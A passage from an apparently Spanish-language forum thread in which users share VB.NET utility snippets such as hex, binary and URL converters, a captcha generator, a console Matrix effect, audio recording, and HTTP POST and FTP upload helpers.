Case Trial_value.As_CountDays : Return My.Settings.Trial_Period.Count ' Count days
Case Else : Return Nothing
End Select
End Function
' Trial Period [HashDate]
Public Function Trial_HashDate(ByVal Trial_DateToHash As Date) As String
Dim Trial_Hasher As System.Security.Cryptography.MD5 = System.Security.Cryptography.MD5.Create()
Dim Trial_Data As Byte() = Trial_Hasher.ComputeHash(System.Text.Encoding.Default.GetBytes(Trial_DateToHash.ToLongDateString()))
Dim Trial_StringBuilder As New System.Text.StringBuilder()
Dim Trial_IDX As Integer
For Trial_IDX = 0 To Trial_Data.Length - 1 : Trial_StringBuilder.Append(Trial_Data(Trial_IDX).ToString("x2")) : Next Trial_IDX
Return Trial_StringBuilder.ToString
End Function
#End Region
· String a hexadecimal:
#Region " String To Hex Function "
' [ String To Hex Function ]
'
' Examples :
' Dim Hex_str As String = String_To_Hex("Elektro H@cker")
Private Function String_To_Hex(ByVal Source_String As String) As String
Dim Hex_StringBuilder As New System.Text.StringBuilder()
For Each c As Char In Source_String : Hex_StringBuilder.Append(Asc(c).ToString("x2")) : Next c
Return Hex_StringBuilder.ToString()
End Function
#End Region
· Hexadecimal a string:
#Region " Hex To String Function "
' [ Hex To String Function ]
'
' Examples :
' Dim str As String = Hex_To_String("456c656b74726f204840636b6572"))
Private Function Hex_To_String(ByVal Source_String As String) As String
Dim Hex_StringBuilder As New System.Text.StringBuilder()
For x As Integer = 0 To Source_String.Length - 1 Step 2 : Hex_StringBuilder.Append(Chr(Val("&H" & Source_String.Substring(x, 2)))) : Next x
Return Hex_StringBuilder.ToString()
End Function
#End Region
· Effecto Matrix (Aplicación de consola)
Module Module1
Sub Main()
Console.Title = "Matrix Effect"
Console.ForegroundColor = ConsoleColor.DarkGreen
Console.WindowLeft = InlineAssignHelper(0, 0)
Console.WindowHeight = InlineAssignHelper(Console.BufferHeight, Console.LargestWindowHeight)
Console.WindowWidth = InlineAssignHelper(Console.BufferWidth, Console.LargestWindowWidth)
Console.CursorVisible = False
Dim width As Integer, height As Integer
Dim y As Integer()
Dim l As Integer()
Initialize(width, height, y, l)
Dim ms As Integer
While True
Dim t1 As DateTime = DateTime.Now
MatrixStep(width, height, y, l)
ms = 10 - CInt(Math.Truncate(CType(DateTime.Now - t1, TimeSpan).TotalMilliseconds))
If ms > 0 Then
System.Threading.Thread.Sleep(ms)
End If
If Console.KeyAvailable Then
If Console.ReadKey().Key = ConsoleKey.F5 Then
Initialize(width, height, y, l)
End If
End If
End While
End Sub
Dim thistime As Boolean = False
Private Sub MatrixStep(ByVal width As Integer, ByVal height As Integer, ByVal y As Integer(), ByVal l As Integer())
Dim x As Integer
thistime = Not thistime
For x = 0 To width - 1
If x Mod 11 = 10 Then
If Not thistime Then
Continue For
End If
Console.ForegroundColor = ConsoleColor.White
Else
Console.ForegroundColor = ConsoleColor.DarkGreen
Console.SetCursorPosition(x, inBoxY(y(x) - 2 - ((l(x) \ 40) * 2), height))
Console.Write(R)
Console.ForegroundColor = ConsoleColor.Green
End If
Console.SetCursorPosition(x, y(x))
Console.Write(R)
y(x) = inBoxY(y(x) + 1, height)
Console.SetCursorPosition(x, inBoxY(y(x) - l(x), height))
Console.Write(" "c)
Next
End Sub
Private Sub Initialize(ByRef width As Integer, ByRef height As Integer, ByRef y As Integer(), ByRef l As Integer())
Dim h1 As Integer
Dim h2 As Integer = (InlineAssignHelper(h1, (InlineAssignHelper(height, Console.WindowHeight)) \ 2)) \ 2
width = Console.WindowWidth - 1
y = New Integer(width - 1) {}
l = New Integer(width - 1) {}
Dim x As Integer
Console.Clear()
For x = 0 To width - 1
y(x) = m_r.[Next](height)
l(x) = m_r.[Next](h2 * (If((x Mod 11 <> 10), 2, 1)), h1 * (If((x Mod 11 <> 10), 2, 1)))
Next
End Sub
Dim m_r As New Random()
Private ReadOnly Property R() As Char
Get
Dim t As Integer = m_r.[Next](10)
If t <= 2 Then
Return ChrW(CInt(AscW("0"c)) + m_r.[Next](10))
ElseIf t <= 4 Then
Return ChrW(CInt(AscW("a"c)) + m_r.[Next](27))
ElseIf t <= 6 Then
Return ChrW(CInt(AscW("A"c) + m_r.[Next](27)))
Else
Return ChrW(m_r.[Next](32, 255))
End If
End Get
End Property
Public Function inBoxY(ByVal n As Integer, ByVal height As Integer) As Integer
n = n Mod height
If n < 0 Then
Return n + height
Else
Return n
End If
End Function
Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
target = value
Return value
End Function
End Module
Cita de: EleKtro H@cker en 17 Marzo 2013, 11:18 AM
Checkar si un número está entre un rango de números.
PD: Si conocen un método mejor porfavor postéenlo
#Region " Number Is In Range Function "
' [ Number Is In Range Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(NumberIsInRange(50, 0, 100))
' If NumberIsInRange(5, 1, 10) then...
Private Function NumberIsInRange(ByVal Number As Integer, ByVal MIN As Integer, ByVal MAX As Integer) As Boolean
Select Case Number
Case MIN To MAX : Return True
Case Else : Return False
End Select
End Function
#End Region
A mi se me ocurre otra manera pero no tengo ni idea de cual es más rápida.
Function numero(ByVal MIN As Integer, ByVal MAX As Integer) As Boolean
Dim N As Integer
N = InputBox("Escribe un nº cualquiera", "hola", 0)
If N >= MIN And N <= MAX Then
MsgBox("EL NUMERO SE ENCUENTRA ENTRE " & MIN & " Y " & MAX)
Else
MsgBox("EL NUMERO NO SE ENCUENTRA ENTRE LOS VALORES")
End If
End Function
@arts
la verdad es que según tengo entendido entre las comprbocaciones de IF y Select Case no hay diferencia así que creo que deben ser igual.
Generador de captchas.
(http://img705.imageshack.us/img705/7038/captura3iw.png)
#Region " Captcha Generator Function "
' [ Captcha Generator Function ]
'
' Instructions:
' Copy the Captcha Class into a new Class "Captcha.vb"
'
' Examples :
' Dim myCaptcha As New Captcha
' PictureBox1.Image = myCaptcha.GenerateCaptcha(5) ' Generate a captcha of 5 letters
' MsgBox(myCaptcha.Check(TextBox1.Text, True)) ' Check if the given text is correct
' Captcha.vb
#Region " Captcha Class "
Imports System.Drawing
Imports System.Drawing.Drawing2D
Public Class Captcha
Dim cap As String
Public ReadOnly Property CaptchaString As String
Get
Return cap
End Get
End Property
' Generate Captcha
Function GenerateCaptcha(ByVal NumberOfCharacters As Integer) As Bitmap
Dim R As New Random
Dim VerticalLineSpaceing As Integer = R.Next(5, 10) ' The space between each horizontal line
Dim HorisontalLineSpaceing As Integer = R.Next(5, 10) ' The space between each Vertical line
Dim CWidth As Integer = (NumberOfCharacters * 120) 'Generating the width
Dim CHeight As Integer = 180 ' the height
Dim CAPTCHA As New Bitmap(CWidth, CHeight)
Dim allowedCharacters() As Char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM123456789".ToCharArray 'Guess
Dim str(NumberOfCharacters - 1) As Char ' The String to turn into a captcha
For i = 0 To NumberOfCharacters - 1
str(i) = allowedCharacters(R.Next(0, 61)) ' Generating random characters
Next
Using g As Graphics = Graphics.FromImage(CAPTCHA)
' the gradient brush for the background
Dim gradient As New Drawing2D.LinearGradientBrush(New Point(0, CInt(CHeight / 2)), New Point(CWidth, CInt(CHeight / 2)), Drawing.Color.FromArgb(R.Next(&HFF7D7D7D, &HFFFFFFFF)), Drawing.Color.FromArgb(R.Next(&HFF7D7D7D, &HFFFFFFFF)))
g.FillRectangle(gradient, New Rectangle(0, 0, CWidth, CHeight))
Dim plist As New List(Of Point) ' the list of points the curve goes through
For i = 0 To str.Length - 1
Dim FHeight As Integer = R.Next(60, 100) 'Font height in EM
Dim Font As New Font("Arial", FHeight)
Dim Y As Integer = R.Next(0, (CHeight - FHeight) - 40) 'Generating the Y value of a char: will be between the top and (bottom - 40) to prevent half characters
Dim X As Integer = CInt((((i * CWidth) - 10) / NumberOfCharacters)) 'Some formula that made sense At the time that I typed it to generate the X value
Dim p As New Point(X, Y)
g.DrawString(str(i).ToString, Font, Brushes.Black, p)
plist.Add(New Point(X, R.Next(CInt((CHeight / 2) - 40), CInt((CHeight / 2) + 40)))) ' add the points to the array
Next
plist.Add(New Point(CWidth, CInt(CHeight / 2))) 'for some reason it doesn't go to the end so we manually add the last point
Dim ppen As New Pen(Brushes.Black, R.Next(5, 10)) ' the pen used to draw the curve
g.DrawCurve(ppen, plist.ToArray)
Dim pen As New Pen(Brushes.SteelBlue, CSng(R.Next(1, 2))) 'the pen that will draw the horisontal and vertical lines.
' Drawing the vertical lines
For i = 1 To CWidth
Dim ptop As New Point(i * VerticalLineSpaceing, 0)
Dim pBottom As New Point(i * VerticalLineSpaceing, CHeight)
g.DrawLine(pen, ptop, pBottom)
Next
' Drawing the horizontal lines
For i = 1 To CHeight
Dim ptop As New Point(0, i * HorisontalLineSpaceing)
Dim pBottom As New Point(CWidth, i * HorisontalLineSpaceing)
g.DrawLine(pen, ptop, pBottom)
Next
' Drawing the Black noise particles
Dim numnoise As Integer = CInt(CWidth * CHeight / 25) 'calculating the number of noise for the block. This will generate 1 Noise per 25X25 block of pixels if im correct
For i = 1 To numnoise / 2
Dim X As Integer = R.Next(0, CWidth)
Dim Y As Integer = R.Next(0, CHeight)
Dim int As Integer = R.Next(1, 2)
g.FillEllipse(Brushes.Black, New Rectangle(X, Y, R.Next(2, 5), R.Next(2, 5))) 'Size of the white noise
Next
' Drawing the white noise particles
For i = 1 To numnoise / 2
Dim X As Integer = R.Next(0, CWidth)
Dim Y As Integer = R.Next(0, CHeight)
Dim int As Integer = R.Next(1, 2)
g.FillEllipse(Brushes.White, New Rectangle(X, Y, R.Next(2, 5), R.Next(2, 5))) 'Size of the white noise
Next
End Using
cap = str
Return CAPTCHA
End Function
' Check captcha
Function Check(ByVal captcha As String, Optional ByVal IgnoreCase As Boolean = False) As Boolean
If IgnoreCase Then
If captcha.ToLower = CaptchaString.ToLower Then
Return True
Else
Return False
End If
Else
If captcha = CaptchaString Then
Return True
Else
Return False
End If
End If
End Function
End Class
#End Region
#End Region
Minimizar la IDE del VisualStudio cuando la APP está en debug:
[code=vbnet]#Region " Minimize VS IDE when APP is in execution "
Declare Function ShowWindow Lib "User32.dll" (ByVal hwnd As IntPtr, ByVal nCmdShow As UInteger) As Boolean
' Minimize VS IDE when APP is in execution
Private Sub Minimize_VS_IDE_when_APP_is_in_execution(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
#If DEBUG Then
Dim Pr() As Process = Process.GetProcesses
For Each P As Process In Pr
If P.MainWindowTitle.Contains(My.Application.Info.AssemblyName) Then
Dim hwnd As IntPtr = P.MainWindowHandle
ShowWindow(hwnd, 6)
Exit For
End If
Next
#End If
End Sub
#End Region
Redondear los bordes de cualquier control:
#Region " Round Borders "
' [ Round Borders ]
'
' Examples :
' Round_Border(TextBox1)
' Round_Border(PictureBox1, 100)
Private Sub Round_Borders(ByVal vbObject As Object, Optional ByVal RoundSize As Integer = 20)
Try
Dim p As New Drawing2D.GraphicsPath()
p.StartFigure()
p.AddArc(New Rectangle(0, 0, RoundSize, RoundSize), 180, 90)
p.AddLine(RoundSize, 0, vbObject.Width - RoundSize, 0)
p.AddArc(New Rectangle(vbObject.Width - RoundSize, 0, RoundSize, RoundSize), -90, 90)
p.AddLine(vbObject.Width, RoundSize, vbObject.Width, vbObject.Height - RoundSize)
p.AddArc(New Rectangle(vbObject.Width - RoundSize, vbObject.Height - RoundSize, RoundSize, RoundSize), 0, 90)
p.AddLine(vbObject.Width - RoundSize, vbObject.Height, RoundSize, vbObject.Height)
p.AddArc(New Rectangle(0, vbObject.Height - RoundSize, RoundSize, RoundSize), 90, 90)
p.CloseFigure()
vbObject.Region = New Region(p)
Catch ex As Exception : Throw New Exception(ex.Message)
End Try
End Sub
#End Region
Decodificar URL:
#Region " URL Decode Function "
' [ URL Decode Function ]
'
' Examples :
' Dim URL As String = URL_Decode("http%3A%2F%2Fwww%2Esomesite%2Ecom%2Fpage%2Easp%3Fid%3D5%26test%3DHello+World")
Public Function URL_Decode(ByVal Source As String) As String
Dim x As Integer = 0
Dim CharVal As Byte = 0
Dim sb As New System.Text.StringBuilder()
For x = 0 To (Source.Length - 1)
Dim c As Char = Source(x)
If (c = "+") Then
sb.Append(" ")
ElseIf c <> "%" Then
sb.Append(c)
Else
CharVal = Int("&H" & Source(x + 1) & Source(x + 2))
sb.Append(Chr(CharVal))
x += 2
End If
Next
Return sb.ToString()
End Function
#End Region
Codificar URL:
#Region " URL Encode Function "
' [ URL Encode Function ]
'
' Examples :
' Dim URL As String = URL_Encode("http://www.somesite.com/page.asp?id=5&test=Hello World")
Public Function URL_Encode(ByVal Source As String) As String
Dim chars() As Char = Source.ToCharArray()
Dim sb As New System.Text.StringBuilder()
For Each c As Char In chars
If c Like "[A-Z-a-z-0-9]" Then
sb.Append(c)
ElseIf c = " " Then
sb.Append("+")
Else
Dim sHex As String = Hex(Asc(c))
sHex = "%" & sHex.PadLeft(2, "0")
sb.Append(sHex)
End If
Next
Erase chars ' Clean Up
Return sb.ToString()
End Function
#End Region
[/code]
Grabar audio del PC:
#Region " Rec Sound Function "
' [ Rec Sound Function ]
'
' Examples :
' Rec_Sound("C:\Audio.wav", Rec.Start_Record)
' Rec_Sound("C:\Audio.wav", Rec.Stop_Record)
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Integer, ByVal hwndCallback As Integer) As Integer
Public Enum Rec
Start_Record
Stop_Record
End Enum
Private Function Rec_Sound(ByVal Path As String, ByVal Rec As Rec) As Boolean
Select Case Rec
Case Rec.Start_Record
mciSendString("open new Type waveaudio Alias recsound", "", 0, 0)
mciSendString("record recsound", "", 0, 0)
Return True
Case Rec.Stop_Record
mciSendString("save recsound " & Path & "", "", 0, 0)
mciSendString("close recsound", "", 0, 0)
Return True
Case Else : Return Nothing
End Select
End Function
#End Region
Esta función es para escribir "hints" (o "cues") en los TextBox por ejemplo.
#Region " Set Control Hint Function "
' [ Set Control Hint Function ]
'
' Examples :
' Set_Control_Hint(TextBox1, "Put text here...")
<System.Runtime.InteropServices.DllImport("user32.dll", CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
Private Shared Function SendMessage(ByVal hWnd As IntPtr, ByVal msg As Integer, ByVal wParam As Integer, <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr)> ByVal lParam As String) As Int32
End Function
Private Function Set_Control_Hint(ByVal control As Control, ByVal text As String) As Boolean
Try
SendMessage(control.Handle, &H1501, 0, text)
Return True
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Function
#End Region
Enviar POST por PHP:
#Region " Send POST PHP Function "
' [ Send POST PHP Function ]
'
' Examples :
' Dim htmlcode As String = PHP("http://somesite.com/somephpfile.php", "POST", "name=Jim&age=27&pizza=suasage")
Public Function Send_POST_PHP(ByVal URL As String, ByVal Method As String, ByVal Data As String) As String
Try
Dim request As System.Net.WebRequest = System.Net.WebRequest.Create(URL)
request.Method = Method
Dim postData = Data
Dim byteArray As Byte() = System.Text.Encoding.UTF8.GetBytes(postData)
request.ContentType = "application/x-www-form-urlencoded"
request.ContentLength = byteArray.Length
Dim dataStream As System.IO.Stream = request.GetRequestStream()
dataStream.Write(byteArray, 0, byteArray.Length)
dataStream.Close()
Dim response As System.Net.WebResponse = request.GetResponse()
dataStream = response.GetResponseStream()
Dim reader As New System.IO.StreamReader(dataStream)
Dim responseFromServer As String = reader.ReadToEnd()
reader.Close()
dataStream.Close()
response.Close()
Return (responseFromServer)
Catch ex As Exception
Dim PHP_Error As String = ErrorToString()
If PHP_Error = "Invalid URI: The format of the URI could not be determined." Then
MsgBox("ERROR! Must have HTTP:// before the URL.")
Else
Throw New Exception(ex.Message)
End If
Return ("ERROR")
End Try
End Function
#End Region
FTP Uploader:
#Region " FTP Upload Function "
' [ FTP Upload Function ]
'
' Examples :
' FTP_Upload("C:\File.txt", "ftp://127.0.0.1/File.txt", "User")
' MsgBox(FTP_Upload("C:\File.txt", "ftp://127.0.0.1/File.txt", "User", "Pass"))
Public Function FTP_Upload(ByVal FilePath As String, ByVal FTP_FilePath As String, _
Optional ByVal User As String = Nothing, _
Optional ByVal Pass As String = Nothing) As Boolean
Dim FTP_request As System.Net.FtpWebRequest
Dim FTP_stream As System.IO.Stream
Dim FTP_bytes() As Byte
Try
FTP_request = DirectCast(System.Net.WebRequest.Create(FTP_FilePath), System.Net.FtpWebRequest)
FTP_request.Credentials = New System.Net.NetworkCredential(User, Pass)
FTP_request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
FTP_stream = FTP_request.GetRequestStream()
FTP_bytes = System.IO.File.ReadAllBytes(FilePath)
With FTP_stream
.Write(FTP_bytes, 0, FTP_bytes.Length)
.Close()
.Dispose()
End With
Return True
Catch ex As Exception : Return False
End Try
End Function
#End Region
¡ PACK DE SNIPPETS ACTUALIZADO EN EL POST PRINCIPAL !
Ya puedes descargar la colección completa de 178 funciones útiles.
PD: Y no te olvides de ser generoso compartiendo tu conocimiento con los demás en este post...
Copiar un archivo con posibilidad de cancelar la operación y reemplazar:
#Region " Copy File In Chunks "
' [ Copy File In Chunks Function ]
'
' // By Elektro H@cker
'
' Examples :
' Copy_File_In_Chunks("C:\BigFile.mkv", "C:\BigFile_copy.mkv")
' Copy_File_In_Chunks("C:\BigFile.mkv", "C:\BigFile_copy.mkv", 9999, True, True)
Dim Cancel_Copy As Boolean = False
Public Function Copy_File_In_Chunks(ByVal InputFile As String, ByVal OutputFile As String, _
Optional ByVal BufferSize As Int16 = 1024, _
Optional ByVal Overwrite As Boolean = False, _
Optional ByVal DeleteFileOnCancel As Boolean = False) As Boolean
Dim InputStream As New IO.FileStream(InputFile, IO.FileMode.Open, IO.FileAccess.Read)
Dim OutputStream As IO.FileStream
If Overwrite Then
OutputStream = New IO.FileStream(OutputFile, IO.FileMode.Create, IO.FileAccess.Write)
Else
OutputStream = New IO.FileStream(OutputFile, IO.FileMode.CreateNew, IO.FileAccess.Write)
End If
Dim Buffer = New Byte(BufferSize) {}
Dim BytesRead As Integer = 0
Do : If Cancel_Copy Then : GoTo Close_Copy
Else
Application.DoEvents() ' Remove it if you don't like...
BytesRead = InputStream.Read(Buffer, 0, Buffer.Length)
If BytesRead > 0 Then OutputStream.Write(Buffer, 0, BytesRead)
End If
Loop While (BytesRead > 0)
Close_Copy:
OutputStream.Flush() : InputStream.Close() : OutputStream.Close()
If DeleteFileOnCancel Then
Try : IO.File.Delete(OutputFile) : Catch : End Try
Return False
Else : Return True
End If
End Function
#End Region
Form Docking
Junta un form secundario al borde del form principal (para que se muevan sincronizádamente...)
Public Moving_From_Secondary_Form As Boolean = False
' Move Event Main Form
Private Sub Form1_Move(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Move
If Not Moving_From_Secondary_Form Then Form2.Location = New Point(Me.Right, Me.Top)
End Sub
' Move Event Secondary Form
Private Sub Form2_Move(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Move
Form1.Moving_From_Secondary_Form = True
Form1.Location = New Point(Me.Left - Form1.Width, Me.Top)
Form1.Moving_From_Secondary_Form = False
End Sub
· Unir argumentos:
#Region " Join Arguments Function "
' [ Join Arguments Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Join_Arguments())
' MsgBox(Join_Arguments(";"))
' If Join_Arguments() Is Nothing Then MsgBox("No arguments")
Private Function Join_Arguments(Optional Delimiter As String = " ") As String
' Check if exist at least one argument
If Environment.GetCommandLineArgs().Length = 1 Then Return Nothing
' Store all arguments
Dim Arguments As [String]() = Environment.GetCommandLineArgs()
' Delete Argument 0 (It's the name of the APP)
For x = 1 To UBound(Arguments) : Arguments(x - 1) = Arguments(x) : Next x
' Redimensione the array
ReDim Preserve Arguments(UBound(Arguments) - 1)
' Return the string
Return [String].Join(Delimiter, Arguments)
End Function
#End Region
· Ignorar excepciones:
#Region " Ignore Exceptions "
' [ Ignore Exceptions ]
'
' // By Elektro H@cker
'
' Examples :
' Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
' IO.File.OpenText("X:\Failed_To_Open.txt")
' End Sub
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Try : AddHandler Application.ThreadException, AddressOf Application_Exception_Handler _
: Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException, False) _
: Catch : End Try
End Sub
Private Sub Application_Exception_Handler(ByVal sender As Object, ByVal e As System.Threading.ThreadExceptionEventArgs)
' Here you can manage the exceptions:
' Dim ex As Exception = CType(e.Exception, Exception)
' MsgBox(ex.Message)
' ...Or leave empty to ignore it.
End Sub
#End Region
· Devuelve el nombre de la aplicación actual:
EDITO: Mejorado
#Region " Get Current APP Name Function "
' [ Get Current APP Name Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Current_APP_Name())
' MsgBox(Get_Current_APP_Name(False))
Private Function Get_Current_APP_Name(Optional ByVal WithFileExtension As Boolean = True) As String
Dim EXE_Filename As String = System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName
If WithFileExtension Then : Return EXE_Filename
Else : Return EXE_Filename.Substring(0, EXE_Filename.Length - 4)
End If
End Function
#End Region
· Devuelve la ruta parcial o la ruta absoluta de la aplicación actual:
EDITO: SIMPLIFICADO
#Region " Get Current APP Path Function "
' [ Get Current APP Path Function ]
'
' // By Elektro H@cker
'
' Examples :
' MsgBox(Get_Current_APP_Path())
' MsgBox(Get_Current_APP_Path(True))
Private Function Get_Current_APP_Path(Optional ByVal FullPath As Boolean = False) As String
If FullPath Then : Return CurDir() & "\" & System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName
Else : Return CurDir()
End If
End Function
#End Region
· Sleep
#Region " Sleep "
' [ Sleep ]
'
' // By Elektro H@cker
'
' Examples :
' Sleep(5) : MsgBox("Test")
' Sleep(5, Measure.Seconds) : MsgBox("Test")
Public Enum Measure
Milliseconds = 1
Seconds = 2
Minutes = 3
Hours = 4
End Enum
Private Sub Sleep(ByVal Duration As Int64, Optional ByVal Measure As Measure = Measure.Seconds)
Dim Starttime = DateTime.Now
Select Case Measure
Case Measure.Milliseconds : Do While (DateTime.Now - Starttime).TotalMilliseconds < Duration : Application.DoEvents() : Loop
Case Measure.Seconds : Do While (DateTime.Now - Starttime).TotalSeconds < Duration : Application.DoEvents() : Loop
Case Measure.Minutes : Do While (DateTime.Now - Starttime).TotalMinutes < Duration : Application.DoEvents() : Loop
Case Measure.Hours : Do While (DateTime.Now - Starttime).TotalHours < Duration : Application.DoEvents() : Loop
Case Else
End Select
End Sub
#End Region
· Devuelve un color RGB aleatorio:
#Region " Get Random RGB Color Function "
' [ Get Random RGB Color Function ]
'
' Examples :
' Label1.ForeColor = Get_Random_RGB_Color()
Private Function Get_Random_RGB_Color() As Color
Return Color.FromArgb(255, _
m_Rnd.Next(0, 255), _
m_Rnd.Next(0, 255), _
m_Rnd.Next(0, 255))
End Function
#End Region
· Devuelve un color QB aleatorio:
http://msdn.microsoft.com/en-us/library/d2dz8078%28v=vs.80%29.aspx
#Region " Get Random QB Color Function "
' [ Get Random QB Color Function ]
'
' Examples :
' Label1.ForeColor = Get_Random_QB_Color()
Private QB_Random As New Random
Public Function Get_Random_QB_Color() As Color
Return Color.FromArgb(QBColor(QB_Random.Next(0, 15)) + &HFF000000)
End Function
#End Region
· Mover un control
Con opciones de Dirección, velocidad, intervalo, timeout, y hacer búcle sobre el form.
[youtube=640,360]http://www.youtube.com/watch?v=iPKwIZDFnIo&feature=youtu.be[/youtube]
#Region " Move control "
' [ Move control ]
'
' // By Elektro H@cker
'
' Examples :
' MoveControl(Label1, Direction.Right, 100, 1000, 10, True)
' MoveControl(Label1, Direction.Left, 1, 9999999, 2, True)
Dim ControlToMove As Control
Dim ControlLoop As Boolean
Dim StartMove As New Timer
Dim EndMove As New Timer
Public Enum Direction
Up = 1
Down = 2
Left = 3
Right = 4
End Enum
Public Sub MoveControl(ByVal Control As Control, _
ByVal Direction As Direction, _
ByVal Interval As Int64, _
ByVal TimeOut As Int64, _
ByVal Speed As Int16, _
ByVal LoopInsideForm As Boolean)
ControlToMove = Control
ControlLoop = LoopInsideForm
StartMove.Tag = Direction
'TimeOut = TimeOut * 1000 ' If want to use seconds instead of Milliseconds.
StartMove.Interval = Interval
EndMove.Interval = TimeOut
For x = 1 To Speed ' Add X amount of handles
AddHandler StartMove.Tick, AddressOf StartMove_Tick
Next
AddHandler EndMove.Tick, AddressOf EndMove_Tick
StartMove.Start() : EndMove.Start()
End Sub
' Start/continue moving
Private Sub StartMove_Tick(Sender As Object, e As EventArgs)
If ControlLoop Then ' Loop inside form
Select Case Sender.tag
Case 1 ' Up
If ControlToMove.Location.Y <= (0 - ControlToMove.Size.Height) Then
ControlToMove.Location = New Point(ControlToMove.Location.X, Me.Size.Height)
End If
Case 2 ' Down
If ControlToMove.Location.Y >= (Me.Size.Height) Then
ControlToMove.Location = New Point(ControlToMove.Location.X, -0)
End If
Case 3 ' Left
If ControlToMove.Location.X <= (0 - ControlToMove.Size.Width) Then
ControlToMove.Location = New Point(Me.Size.Width, ControlToMove.Location.Y)
End If
Case 4 ' Right
If ControlToMove.Location.X >= (Me.Size.Width) Then
ControlToMove.Location = New Point(-ControlToMove.Width, ControlToMove.Location.Y)
End If
End Select
End If
Select Case Sender.Tag ' Direction
Case 1 : ControlToMove.Location = New Point(ControlToMove.Location.X, ControlToMove.Location.Y - 1) ' Up
Case 2 : ControlToMove.Location = New Point(ControlToMove.Location.X, ControlToMove.Location.Y + 1) ' Down
Case 3 : ControlToMove.Location = New Point(ControlToMove.Location.X - 1, ControlToMove.Location.Y) ' Left
Case 4 : ControlToMove.Location = New Point(ControlToMove.Location.X + 1, ControlToMove.Location.Y) ' Right
End Select
End Sub
' End Moving
Private Sub EndMove_Tick(sender As Object, e As EventArgs)
StartMove.Stop()
EndMove.Stop()
RemoveHandler StartMove.Tick, AddressOf StartMove_Tick
RemoveHandler EndMove.Tick, AddressOf EndMove_Tick
End Sub
#End Region
Obtener las familias de las fuentes instaladas:
EDITO: MEJORADO Y SIMPLIFICADO
#Region " Get Installed Fonts Function "
' [ Get Installed Fonts Function ]
'
' Examples :
' For Each Font As FontFamily In Get_Installed_Fonts() : MsgBox(Font.Name) : Next
'
' For Each FontFam As FontFamily In Get_Installed_Fonts()
' Dim MyFont As New Font(FontFam.Name, 8)
' MsgBox(MyFont.Italic)
' MsgBox(MyFont.OriginalFontName)
' MyFont.Dispose()
' Next
Private Function Get_Installed_Fonts() As FontFamily()
Using AllFonts As New Drawing.Text.InstalledFontCollection ' Get the installed fonts collection.
Return AllFonts.Families ' Return an array of the system's font familiies.
End Using
End Function
#End Region
Unas de las típicas y quemadísimas funciones para convertir un string a binário:
#Region " ASCII To Binary Function "
' [ ASCII To Binary Function ]
'
' Examples :
' MsgBox(ASCII_To_Binary("Test"))
Private Function ASCII_To_Binary(ByVal str As String) As String
Dim Binary_String As String = Nothing
For i As Integer = 0 To str.Length - 1
Binary_String &= LongToBinary(Asc(str.Substring(i, 1))).Substring(LongToBinary(Asc(str.Substring(i, 1))).Length - 8)
Next i
Return Binary_String
End Function
' Convert this Long value into a Binary string.
Private Function LongToBinary(ByVal long_value As Long, Optional ByVal separate_bytes As Boolean = True) As String
' Convert into hex.
Dim hex_string As String = long_value.ToString("X")
' Zero-pad to a full 16 characters.
hex_string = hex_string.PadLeft(16, "0")
' Read the hexadecimal digits one at a time from right to left.
Dim result_string As String = ""
For digit_num As Integer = 0 To 15
' Convert this hexadecimal digit into a binary nibble.
Dim digit_value As Integer = Integer.Parse(hex_string.Substring(digit_num, 1), Globalization.NumberStyles.HexNumber)
' Convert the value into bits.
Dim factor As Integer = 8
Dim nibble_string As String = ""
For bit As Integer = 0 To 3
If digit_value And factor Then
nibble_string &= "1"
Else
nibble_string &= "0"
End If
factor \= 2
Next bit
' Add the nibble's string to the left of the result string.
result_string &= nibble_string
Next digit_num
' Add spaces between bytes if desired.
If separate_bytes Then
Dim tmp As String = ""
For i As Integer = 0 To result_string.Length - 8 Step 8
tmp &= result_string.Substring(i, 8) & " "
Next i
result_string = tmp.Substring(0, tmp.Length - 1)
End If
' Return the result.
Return result_string
End Function
#End Region
...O viceversa:
#Region " Binary To ASCII Function "
' [ Binary To ASCII Function ]
'
' Examples :
' MsgBox(Binary_To_ASCII("01010100 01100101 01110011 01110100"))
' MsgBox(Binary_To_ASCII("01010100011001010111001101110100"))
Private Function Binary_To_ASCII(ByVal str As String) As String
Dim ASCII_String As String = Nothing
' Strip out spaces in case the string are separated by spaces.
str = str.Replace(" ", "")
For i As Integer = 0 To str.Length - 1 Step 8
ASCII_String &= Chr(BinaryToLong(str.Substring(i, 8)))
Next i
Return ASCII_String
End Function
' Convert this Binary value into a Long.
Private Function BinaryToLong(ByVal binary_value As String) As Long
' Remove any leading &B if present.
binary_value = binary_value.Trim().ToUpper()
If binary_value.StartsWith("&B") Then binary_value = binary_value.Substring(2)
' Strip out spaces in case the bytes are separated by spaces.
binary_value = binary_value.Replace(" ", "")
' Left pad with zeros so we have a full 64 bits.
binary_value = binary_value.PadLeft(64, "0")
' Read the bits in nibbles from left to right. (A nibble is half a byte)
Dim hex_result As String = ""
For nibble_num As Integer = 0 To 15
' Convert this nibble into a hexadecimal string.
Dim factor As Integer = 1
Dim nibble_value As Integer = 0
' Read the nibble's bits from right to left.
For bit As Integer = 3 To 0 Step -1
If binary_value.Substring(nibble_num * 4 + bit, 1).Equals("1") Then
nibble_value += factor
End If
factor *= 2
Next bit
' Add the nibble's value to the right of the result hex string.
hex_result &= nibble_value.ToString("X")
Next nibble_num
' Convert the result string into a long.
Return Long.Parse(hex_result, Globalization.NumberStyles.HexNumber)
End Function
#End Region
